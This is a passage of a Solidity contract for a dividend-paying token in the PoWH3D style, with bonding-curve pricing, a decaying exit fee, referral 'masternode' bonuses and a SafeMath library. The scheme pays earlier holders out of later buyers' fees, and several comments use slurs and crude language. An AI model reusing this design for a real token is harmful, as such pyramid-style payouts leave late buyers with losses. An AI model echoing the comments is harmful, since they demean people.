uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Function for the frontend to get untaxed receivable ethereum.
function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
//uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100);
//uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _ethereum;
}
/// @dev Function for getting the current exitFee
function exitFee() public view returns (uint8) {
if (startTime==0){
return startExitFee_;
}
if (now < startTime) {
return 0;
}
uint256 secondsPassed = now - startTime;
if (secondsPassed >= exitFeeFallDuration_) {
return finalExitFee_;
}
uint8 totalChange = startExitFee_ - finalExitFee_;
uint8 currentChange = uint8(totalChange * secondsPassed / exitFeeFallDuration_);
uint8 currentFee = startExitFee_- currentChange;
return currentFee;
}
// @dev Function for find if premine
function isPremine() public view returns (bool) {
return depositCount_<=0;
}
// @dev Function for find if premine
function isStarted() public view returns (bool) {
return startTime!=0 && now > startTime;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) {
// data setup
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
// Keep track
depositCount_++;
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 201,674 | 12,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.